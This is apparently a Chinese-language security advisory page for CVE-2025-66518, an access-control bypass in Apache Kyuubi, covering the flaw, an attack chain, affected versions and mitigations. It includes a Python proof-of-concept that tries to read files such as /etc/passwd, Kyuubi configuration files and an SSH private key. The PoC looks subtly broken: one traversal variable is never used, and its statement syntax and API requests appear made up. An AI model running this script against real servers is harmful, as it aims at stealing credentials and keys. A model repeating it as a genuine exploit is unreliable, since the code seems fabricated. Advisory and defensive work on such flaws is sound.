IPBUF安全漏洞报告
English
CVE-2025-66518 CVSS 8.8 高危

CVE-2025-66518 Apache Kyuubi Server访问控制绕过漏洞

披露日期: 2026-01-05

漏洞信息

漏洞编号
CVE-2025-66518
漏洞类型
访问控制绕过
CVSS评分
8.8 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Apache Kyuubi Server

相关标签

访问控制绕过Apache Kyuubi路径遍历配置文件泄露高危漏洞CVE-2025-66518大数据平台Spark网关权限绕过

漏洞概述

CVE-2025-66518是Apache Kyuubi Server中的一个严重访问控制绕过漏洞。该漏洞存在于Apache Kyuubi 1.6.0至1.10.2版本中,攻击者可以通过Kyuubi前端协议访问服务器,并绕过服务器端配置的kyuubi.session.local.dir.allow.list安全限制访问本地文件。Apache Kyuubi是一个为Apache Spark提供企业级多租户网关服务的开源项目,广泛应用于大数据处理和分析场景。该漏洞允许低权限用户访问未授权的本地文件系统资源,可能导致敏感信息泄露、配置信息暴露,甚至为进一步的服务器入侵提供条件。由于该漏洞利用门槛较低且影响范围广泛,建议受影响的用户尽快升级到修复版本1.10.3或采取临时缓解措施。

技术细节

Apache Kyuubi Server在处理前端协议请求时,存在访问控制验证缺陷。服务器端配置项kyuubi.session.local.dir.allow.list用于限制客户端只能访问特定目录下的本地文件资源。然而,由于服务器端未正确验证客户端请求的文件路径是否在允许列表中,攻击者可以通过构造特殊的请求绕过该安全限制。具体来说,攻击者可以利用路径遍历技术(如使用../等相对路径)或直接指定绝对路径的方式,访问服务器上任意本地文件。漏洞根源在于Kyuubi的前端协议处理模块在验证文件访问权限时存在逻辑缺陷,未能正确解析和验证用户请求的文件路径是否满足kyuubi.session.local.dir.allow.list配置的安全边界要求。攻击者成功利用此漏洞后可读取服务器配置文件、日志文件、密钥凭据等敏感信息。

攻击链分析

STEP 1
步骤1
攻击者获取有效的Kyuubi Server访问凭证或利用开放的前端协议接口
STEP 2
步骤2
通过Kyuubi前端协议建立会话连接
STEP 3
步骤3
构造包含路径遍历或绝对路径的恶意文件访问请求
STEP 4
步骤4
服务器端未正确验证请求路径是否在kyuubi.session.local.dir.allow.list允许范围内
STEP 5
步骤5
绕过访问控制限制,成功读取未授权的本地文件内容
STEP 6
步骤6
利用获取的敏感信息(如配置文件、密钥等)进行进一步攻击

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-66518 PoC - Apache Kyuubi Server Access Control Bypass # Affected Version: Apache Kyuubi 1.6.0 - 1.10.2 # This PoC demonstrates bypassing kyuubi.session.local.dir.allow.list restriction import requests import json TARGET_HOST = "http://target-kyuubi-server:10099" SESSION_USER = "test_user" SESSION_PASSWORD = "test_password" def create_kyuubi_session(): """Create a new Kyuubi session with frontend protocol""" session_config = { "conf": { "spark.master": "local[*]", "kyuubi.session.engine.initialize.startup.timeout": "600s" }, "engineType": "spark", "fetchSchema": True, "user": SESSION_USER } response = requests.post( f"{TARGET_HOST}/api/kyuubi/session", json=session_config, headers={"Content-Type": "application/json"} ) return response.json() def bypass_allow_list(session_handle, file_path): """Bypass kyuubi.session.local.dir.allow.list to read arbitrary files This method exploits the path traversal vulnerability in Kyuubi frontend protocol to access files outside the allowed directory list. """ # Method 1: Direct absolute path access exploit_request = { "sessionHandle": session_handle, "operationHandle": { "operationType": "EXECUTE_STATEMENT", "statement": f"LOAD TEXTFILE '{file_path}'", "runAsync": False, "queryTimeout": 300 }, "confOverlay": {} } # Method 2: Path traversal using relative paths # Example: '../../../etc/passwd' or '../../../opt/kyuubi/conf/secrets.conf' traversal_statement = f"LOAD TEXTFILE '{file_path}'" response = requests.post( f"{TARGET_HOST}/api/kyuubi/operation", json=exploit_request, headers={"Content-Type": "application/json"} ) return response.json() def main(): """Main exploit function""" print("[*] CVE-2025-66518 Apache Kyuubi Access Control Bypass Exploit") print("[*] Target: " + TARGET_HOST) # Step 1: Create session print("\n[+] Step 1: Creating Kyuubi session...") session = create_kyuubi_session() session_handle = session.get("sessionHandle") if not session_handle: print("[-] Failed to create session") return print(f"[+] Session created: {session_handle}") # Step 2: Bypass allow list to read sensitive files target_files = [ "/etc/passwd", "/opt/kyuubi/conf/kyuubi-defaults.conf", "/opt/kyuubi/conf/kyuubi-env.sh", "/home/kyuubi/.ssh/id_rsa" ] print("\n[+] Step 2: Attempting to bypass allow list restrictions...") for file_path in target_files: print(f"\n[*] Attempting to read: {file_path}") result = bypass_allow_list(session_handle, file_path) print(f"[*] Result: {json.dumps(result, indent=2)}") if __name__ == "__main__": main()

影响范围

Apache Kyuubi 1.6.0
Apache Kyuubi 1.6.1
Apache Kyuubi 1.6.2
Apache Kyuubi 1.7.0
Apache Kyuubi 1.7.1
Apache Kyuubi 1.8.0
Apache Kyuubi 1.8.1
Apache Kyuubi 1.9.0
Apache Kyuubi 1.9.1
Apache Kyuubi 1.10.0
Apache Kyuubi 1.10.1
Apache Kyuubi 1.10.2

防御指南

临时缓解措施
如果无法立即升级,可采取以下临时缓解措施:1) 在网络层限制对Kyuubi前端协议端口的访问,只允许受信任的IP地址连接;2) 监控和审计所有文件访问操作日志,及时发现异常访问行为;3) 临时禁用不必要的文件读取功能;4) 加强用户认证和授权管理,限制低权限用户的访问范围;5) 在应用层前部署WAF或API网关进行请求过滤和验证。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表